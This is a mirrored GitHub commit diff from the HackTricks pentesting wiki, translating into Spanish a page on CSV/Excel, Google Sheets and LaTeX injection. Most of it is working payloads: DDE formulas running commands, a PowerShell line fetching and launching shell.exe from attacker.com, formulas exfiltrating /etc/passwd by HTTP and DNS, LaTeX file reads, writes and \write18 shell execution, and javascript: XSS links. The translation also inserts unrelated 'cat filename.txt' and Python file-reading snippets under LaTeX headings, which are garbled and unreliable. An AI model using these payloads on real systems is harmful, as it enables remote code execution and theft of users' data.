mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['pentesting-web/formula-doc-latex-injection.md'] to es
This commit is contained in:
parent
c43374e04b
commit
5b474fc423
1 changed files with 60 additions and 36 deletions
|
@ -7,8 +7,8 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a los repositorios** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -16,10 +16,10 @@
|
|||
|
||||
### Información
|
||||
|
||||
Si tu **entrada** está siendo **reflejada** dentro de **archivos CSV** (o cualquier otro archivo que probablemente se abrirá en **Excel**), es posible que puedas poner **fórmulas de Excel** que se **ejecutarán** cuando el usuario **abra el archivo** o cuando el usuario **haga clic en algún enlace** dentro de la hoja de Excel.
|
||||
Si tu **entrada** se está **reflejando** dentro de **archivos CSV** (o cualquier otro archivo que probablemente se abrirá con **Excel**), es posible que puedas poner **fórmulas de Excel** que se **ejecutarán** cuando el usuario **abra el archivo** o cuando el usuario **haga clic en algún enlace** dentro de la hoja de cálculo de Excel.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Hoy en día, **Excel alertará** (varias veces) al **usuario cuando algo se cargue desde fuera de Excel** para evitar que realice acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en la ingeniería social para la carga final.
|
||||
Hoy en día, **Excel alertará** (varias veces) al **usuario cuando algo se cargue desde fuera de Excel** para evitar que realice acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en la Ingeniería Social para la carga final.
|
||||
{% endhint %}
|
||||
|
||||
### [Lista de palabras](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
@ -37,8 +37,8 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
|
||||
Ejemplo tomado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Supongamos un escenario de ataque al sistema de gestión de registros de estudiantes de una escuela. La aplicación permite al profesor ingresar detalles de los estudiantes en la escuela. El atacante obtiene acceso a la aplicación y quiere que todos los profesores que usan la aplicación se vean comprometidos. Entonces, el atacante intenta realizar un ataque de inyección CSV a través de la aplicación web.\
|
||||
El atacante necesita robar los detalles de otros estudiantes. Entonces, el atacante usa la fórmula de hipervínculo y la ingresa mientras ingresa los detalles del estudiante.
|
||||
Supongamos un escenario de ataque al sistema de gestión de registros de estudiantes de una escuela. La aplicación permite al profesor ingresar los detalles de los estudiantes en la escuela. El atacante obtiene acceso a la aplicación y desea comprometer a todos los profesores que la utilizan. Por lo tanto, el atacante intenta realizar un ataque de inyección de CSV a través de la aplicación web.\
|
||||
El atacante necesita robar los detalles de otros estudiantes. Por lo tanto, el atacante utiliza la fórmula de hipervínculo y la ingresa al ingresar los detalles del estudiante.
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
|
||||
|
||||
|
@ -50,23 +50,21 @@ El archivo CSV exportado contiene carga maliciosa en él.
|
|||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
|
||||
|
||||
Los detalles del estudiante se registran en el servidor web del atacante.
|
||||
Los detalles del estudiante están registrados en el servidor web del atacante.
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
|
||||
|
||||
### RCE
|
||||
|
||||
Para que este ejemplo funcione, es **necesario habilitar la siguiente configuración**:\
|
||||
Archivo → Opciones → Centro de confianza → Configuración del Centro de confianza → Contenido externo → Habilitar el lanzamiento del servidor de intercambio dinámico de datos\
|
||||
Para que este ejemplo funcione, **es necesario tener habilitada la siguiente configuración**:\
|
||||
Archivo → Opciones → Centro de confianza → Configuración del centro de confianza → Contenido externo → Habilitar el lanzamiento del servidor de intercambio de datos dinámicos\
|
||||
o el uso de una **versión antigua de Excel**.
|
||||
|
||||
La buena noticia es que **esta carga útil se ejecuta automáticamente cuando se abre el archivo** (si el usuario acepta las advertencias).
|
||||
|
||||
Es posible ejecutar una calculadora con la siguiente carga útil **`=cmd|' /C calc'!xxx`**
|
||||
|
||||
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
|
||||
|
||||
### Más
|
||||
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
|
||||
```bash
|
||||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||||
```
|
||||
|
@ -77,22 +75,22 @@ Es posible ejecutar una calculadora con la siguiente carga útil **`=cmd|' /C ca
|
|||
* Esto leerá la primera línea del archivo local /etc/passwd: `='file:///etc/passwd'#$passwd.A1`
|
||||
* Exfiltrarlo: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* Exfiltrar más de una línea: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* Exfiltración de DNS: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
|
||||
* Exfiltración DNS: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
|
||||
|
||||
**Analizando la carga útil de exfiltración de DNS:**
|
||||
**Analizando la carga útil de exfiltración DNS:**
|
||||
|
||||
* ‘file:///etc/passwd’#$passwd.A19 – Leerá la 19ª línea del archivo local /etc/passwd
|
||||
* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – Codifica en URL los datos devueltos
|
||||
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Similar a substring, lee datos desde el primer carácter hasta el 41º, una forma muy útil de restringir la longitud de los nombres de host DNS (límite de 254 caracteres en FQDN y 63 caracteres para una etiqueta, es decir, subdominio)
|
||||
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – Reemplaza todas las instancias de % (el carácter especial de la codificación URL) con guión, esto es para asegurarse de que solo se usen caracteres DNS válidos
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) – Concatena la salida del archivo (después de que se haya realizado el procesamiento anterior) con el FQDN (para el cual tenemos acceso al host que es autoritario para el dominio)
|
||||
* WEBSERVICE – Realizará una solicitud para este nombre DNS inexistente que luego podemos analizar los registros (o ejecutar tcpdump, etc.) en el servidor de nombres autoritario DNS para el cual tenemos control
|
||||
* ‘file:///etc/passwd’#$passwd.A19 - Leerá la 19ª línea del archivo local /etc/passwd
|
||||
* ENCODEURL('file:///etc/passwd'#$passwd.A19) - Codifica en URL los datos devueltos
|
||||
* MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41) - Similar a substring, lee datos desde el primer carácter hasta el 41º, una forma muy útil de restringir la longitud de los nombres de host DNS (límite de 254 caracteres para FQDN y 63 caracteres para una etiqueta, es decir, subdominio)
|
||||
* SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-") - reemplaza todas las instancias de % (el carácter especial de la codificación URL) con guiones, esto asegura que solo se utilicen caracteres DNS válidos
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".\<FQDN>") - Concatena la salida del archivo (después de que se haya realizado el procesamiento anterior) con el FQDN (para el cual tenemos acceso al host que es autoritario para el dominio)
|
||||
* WEBSERVICE - Realizará una solicitud para este nombre DNS inexistente que luego podemos analizar los registros (o ejecutar tcpdump, etc.) en el servidor de nombres autoritativo de DNS para el cual tenemos control
|
||||
|
||||
### Google Sheets OOB Data Exfiltration
|
||||
### Google Sheets OOB Exfiltración de datos
|
||||
|
||||
En primer lugar, presentemos algunas de las funciones más interesantes.
|
||||
|
||||
**CONCATENATE**: Añade cadenas una a otra.
|
||||
**CONCATENATE**: Une cadenas entre sí.
|
||||
```
|
||||
=CONCATENATE(A2:E2)
|
||||
```
|
||||
|
@ -118,15 +116,18 @@ En primer lugar, presentemos algunas de las funciones más interesantes.
|
|||
```
|
||||
## Inyección de LaTeX
|
||||
|
||||
Por lo general, los servidores que se encuentran en Internet que **convierten código LaTeX a PDF** utilizan **`pdflatex`**. Este programa utiliza 3 atributos principales para permitir o no la ejecución de comandos:
|
||||
Por lo general, los servidores que encontramos en Internet que **convierten código LaTeX a PDF** utilizan **`pdflatex`**.\
|
||||
Este programa utiliza 3 atributos principales para (des)habilitar la ejecución de comandos:
|
||||
|
||||
* **`--no-shell-escape`**: **Desactiva** la construcción `\write18{command}`, incluso si está habilitada en el archivo texmf.cnf.
|
||||
* **`--shell-restricted`**: Igual que `--shell-escape`, pero **limitado** a un conjunto 'seguro' de **comandos predefinidos** (\*\*En Ubuntu 16.04, la lista se encuentra en `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Habilita** la construcción `\write18{command}`. El comando puede ser cualquier comando de shell. Esta construcción normalmente está desactivada por razones de seguridad.
|
||||
* **`--no-shell-escape`**: **Deshabilita** la construcción `\write18{command}`, incluso si está habilitada en el archivo texmf.cnf.
|
||||
* **`--shell-restricted`**: Lo mismo que `--shell-escape`, pero **limitado** a un conjunto 'seguro' de **comandos predefinidos** (\*\*En Ubuntu 16.04, la lista se encuentra en `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Habilita** la construcción `\write18{command}`. El comando puede ser cualquier comando de shell. Esta construcción normalmente está deshabilitada por razones de seguridad.
|
||||
|
||||
Sin embargo, existen otras formas de ejecutar comandos, por lo que para evitar RCE es muy importante usar `--shell-restricted`.
|
||||
Sin embargo, existen otras formas de ejecutar comandos, por lo que para evitar RCE es muy importante utilizar `--shell-restricted`.
|
||||
|
||||
### Leer archivo <a href="#read-file" id="read-file"></a>
|
||||
|
||||
Es posible que necesites ajustar la inyección con envoltorios como \[ o $.
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
@ -135,6 +136,18 @@ Sin embargo, existen otras formas de ejecutar comandos, por lo que para evitar R
|
|||
\verbatiminput{/etc/passwd}
|
||||
```
|
||||
#### Leer archivo de una sola línea
|
||||
|
||||
To read the contents of a single-lined file, you can use the following command:
|
||||
|
||||
Para leer el contenido de un archivo de una sola línea, puedes utilizar el siguiente comando:
|
||||
|
||||
```bash
|
||||
cat filename.txt
|
||||
```
|
||||
|
||||
This command will display the entire content of the file on the terminal.
|
||||
|
||||
Este comando mostrará todo el contenido del archivo en la terminal.
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/issue
|
||||
|
@ -143,25 +156,36 @@ Sin embargo, existen otras formas de ejecutar comandos, por lo que para evitar R
|
|||
\closein\file
|
||||
```
|
||||
#### Leer archivo de varias líneas
|
||||
|
||||
To read a file that contains multiple lines, you can use the following code:
|
||||
|
||||
```python
|
||||
with open('filename.txt', 'r') as file:
|
||||
lines = file.readlines()
|
||||
for line in lines:
|
||||
print(line.strip())
|
||||
```
|
||||
|
||||
This code opens the file specified by `'filename.txt'` in read mode (`'r'`). It then reads all the lines in the file using the `readlines()` method and stores them in the `lines` variable. Finally, it iterates over each line in the `lines` variable and prints it after removing any leading or trailing whitespace using the `strip()` method.
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/passwd
|
||||
\loop\unless\ifeof\file
|
||||
\read\file to\fileline
|
||||
\text{\fileline}
|
||||
\read\file to\fileline
|
||||
\text{\fileline}
|
||||
\repeat
|
||||
\closein\file
|
||||
```
|
||||
### Escribir archivo <a href="#write-file" id="write-file"></a>
|
||||
### Escribir archivo <a href="#escribir-archivo" id="escribir-archivo"></a>
|
||||
```bash
|
||||
\newwrite\outfile
|
||||
\openout\outfile=cmd.tex
|
||||
\write\outfile{Hello-world}
|
||||
\closeout\outfile
|
||||
```
|
||||
### Ejecución de comandos <a href="#command-execution" id="command-execution"></a>
|
||||
### Ejecución de comandos <a href="#ejecucion-de-comandos" id="ejecucion-de-comandos"></a>
|
||||
|
||||
La entrada del comando se redirigirá a stdin, use un archivo temporal para obtenerla.
|
||||
La entrada del comando se redirigirá a stdin, utiliza un archivo temporal para obtenerlo.
|
||||
```bash
|
||||
\immediate\write18{env > output}
|
||||
\input{output}
|
||||
|
@ -194,9 +218,9 @@ Si obtienes algún error de LaTex, considera usar base64 para obtener el resulta
|
|||
\input|ls|base4
|
||||
\input{|"/bin/hostname"}
|
||||
```
|
||||
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
### Inyección de código en sitios cruzados <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
|
||||
Desde [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
```bash
|
||||
\url{javascript:alert(1)}
|
||||
\href{javascript:alert(1)}{placeholder}
|
||||
|
@ -215,7 +239,7 @@ Desde [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue